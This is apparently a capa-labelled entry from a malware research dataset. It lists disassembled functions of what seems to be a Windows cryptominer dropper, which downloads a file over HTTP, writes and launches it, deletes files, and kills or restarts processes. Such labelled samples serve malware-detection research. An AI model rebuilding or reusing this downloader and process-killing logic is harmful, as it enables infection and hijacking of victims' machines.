joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46eee0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x46ef33
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x46ef1a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4758d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a2efe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004761f0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x4adb3c
call fcn.00494444
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x475963
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00494444
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x47595c
push 0
mov ecx, eax
call fcn.0046ca50
mov dword [esi + 0xc], eax
jmp 0x475965
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x475965
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x496ad1
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x496b09
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00494b5e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00494b36
jmp 0x496b15
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4981bf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x498201
call fcn.0049dc7b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x498201
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4981f8
xor eax, eax
jmp 0x498209
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049820f
pop edi
pop esi
pop ebx
ret 4
Function at 0x49e1ab
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49e1d9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49e1f7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049e111
jmp 0x49e1f7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49e1f7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049e111
test edi, edi
mov eax, edi
jne 0x49e1e1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x403fa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x421308
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x42c6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x42c6dc]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x4040f4
cmp byte [ebx + 0x45], 0
je 0x4040f4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x404000
xor al, al
jmp 0x4040f6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x404040
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x404081
dec eax
je 0x404085
sub eax, 2
je 0x4040db
xor bl, bl
jmp 0x4040dd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x4040bc
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.0040b8c3
add esp, 0x10
cmp esi, eax
jne 0x40407d
cmp byte [ebx + 0x45], 0
je 0x4040db
test esi, esi
jne 0x404040
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00403aa0
jmp 0x404040
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x4040f0
push dword [esp + 0x18]
call fcn.0040b6e8
add esp, 4
mov al, bl
jmp 0x4040f6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x404c00
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42164b
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x42efc0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.X:.Trash_100
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040b669
add esp, 0xc
lea eax, [ebp - 0x11c]
push str.db_
push 0x104
push eax
call fcn.0040b941
add esp, 0xc
lea eax, [ebp - 0x11c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040b941
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402d90
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], 0
call fcn.00402510
lea ecx, [ebp - 0x1c0]
call fcn.00403e50
test eax, eax
jne 0x404cfe
mov eax, dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1c4]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x404cf6
or eax, 4
push 0
push eax
call fcn.004017a0
push 0x42efc0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c8], eax
lea ecx, [ebp - 0x1c0]
call fcn.00402e80
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c8], eax
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.00409aef
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x405420
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b669
push 0x428c40
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b941
add esp, 0x18
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405517
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x405517
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
nop
cmp byte [ebp - 0x31c], 0x2e
je 0x4054fe
push dword [ebp - 0x34c]
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b669
push 0x4289cc
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b941
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b941
add esp, 0x24
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebx
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call esi
cmp eax, 0x12
jne 0x4054a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret

Function at 0x4062f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42efc0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42efc0
mov byte [0x42efbd], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42efb8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00404da0
add esp, 4
test al, al
je 0x406355
lea ecx, [ebp - 0x110]
call fcn.004084f0
push 0xffffffffffffffff
push dword [0x42efb8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret

Function at 0x406380
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42efc0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42efc0
mov byte [0x42efbd], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42efb8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00404da0
add esp, 4
test al, al
je 0x4063e5
lea ecx, [ebp - 0x110]
call fcn.004084f0
push 0xffffffffffffffff
push dword [0x42efb8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406400
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040ef00
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
imul esi, esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406380
int3

Function at 0x4064a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.0040ef00
mov al, byte [0x428d14]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040b669
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x4289cc
push 0x104
push eax
call fcn.0040b941
add esp, 0xc
lea eax, [ebp - 0x130]
push str.Hmmm...exe
push 0x104
push eax
call fcn.0040b941
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea ecx, [ecx]
mov al, byte [edx]
inc edx
test al, al
jne 0x406560
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404fa0
push 0x42dee0
push esi
call fcn.0040bb30
add esp, 0x10
cmp eax, esi
jne 0x406591
test bl, bl
jne 0x40662f
push 0x428c5c
push esi
call fcn.0040bb30
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.004081c0
test al, al
je 0x40662f
lea ecx, [ebp - 0x130]
call fcn.00405080
test al, al
je 0x40662f
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.00408e60
add esp, 4
test eax, eax
jne 0x40663f
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.0040ef00
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406651
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.00406400
call fcn.00406380
int3
Function at 0x4081c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5f8], edx
call fcn.0040bb30
mov esi, eax
add esp, 8
test esi, esi
je 0x4081f7
add esi, 7
jmp 0x4081f9
mov esi, edi
push 0x4291d8
push esi
call fcn.0040bb30
add esp, 8
test eax, eax
je 0x4082c8
push 0x4291d8
push esi
call fcn.0040bb30
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040be6c
push 0x4291d8
push esi
call fcn.0040bb30
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040b669
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407b10
add esp, 0x10
test al, al
je 0x4082c8
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00407a50
add esp, 8
test al, al
je 0x4082c8
lea eax, [ebp - 0xe8]
push eax
call fcn.0040bf10
add esp, 4
mov ebx, eax
push ebx
call fcn.00409e37
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407b10
add esp, 0x10
test al, al
jne 0x4082db
push esi
call fcn.0040b664
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.00404da0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5f8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4082bf
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b664
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x4084f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x4085ce
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x4085ce
jmp 0x408560
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408590
test dl, dl
je 0x40858c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408590
add ecx, 2
add eax, 2
test dl, dl
jne 0x408570
xor eax, eax
jmp 0x408595
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4085bf
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x408560
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x4085f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408623
sub eax, edx
inc eax
push eax
call fcn.00409e37
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408640
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b669
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x408757
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x408757
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408690
sub ecx, esi
je 0x4086c3
jmp 0x4086a0
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x4086b0
cmp al, 0x5a
jg 0x4086b0
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086b6
sub eax, esi
cmp edx, eax
jb 0x4086a0
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4086d0
sub ecx, esi
je 0x40870f
jmp 0x4086e0
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x4086f8
cmp al, 0x5a
jg 0x4086f8
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408702
sub ecx, esi
cmp edx, ecx
jb 0x4086e0
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408737
test dl, dl
je 0x408733
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408737
add eax, 2
add ecx, 2
test dl, dl
jne 0x408717
xor eax, eax
jmp 0x40873c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40877a
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x408683
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b664
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b664
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x4087a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087d3
sub eax, edx
inc eax
push eax
call fcn.00409e37
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087f0
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b669
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x408907
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x408907
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408840
sub ecx, esi
je 0x408873
jmp 0x408850
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x408860
cmp al, 0x5a
jg 0x408860
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408866
sub eax, esi
cmp edx, eax
jb 0x408850
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408880
sub ecx, esi
je 0x4088bf
jmp 0x408890
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x4088a8
cmp al, 0x5a
jg 0x4088a8
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4088b2
sub ecx, esi
cmp edx, ecx
jb 0x408890
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4088e7
test dl, dl
je 0x4088e3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4088e7
add eax, 2
add ecx, 2
test dl, dl
jne 0x4088c7
xor eax, eax
jmp 0x4088ec
sbb eax, eax
or eax, 1
test eax, eax
je 0x40892b
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x408833
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b664
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b664
add esp, 4
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a3bf
mov esp, ebp
pop ebp
ret
Function at 0x4091a0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x30
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.0040ef00
mov eax, dword [0x42f018]
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x50], 0x30
mov dword [ebp - 0x48], 0x409170
mov dword [ebp - 0x28], str.EmptyClass
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x42f018]
push 0
push 0
push 0
push SysReAllocString
push 0
push SysReAllocString
push 0xcf0000
push str.Dont_beat_me__I_am_a_child___
push dword [ebp - 0x28]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 5
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
je 0x40926c
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x20]
push eax
call esi
lea eax, [ebp - 0x20]
push eax
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
jne 0x409246
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret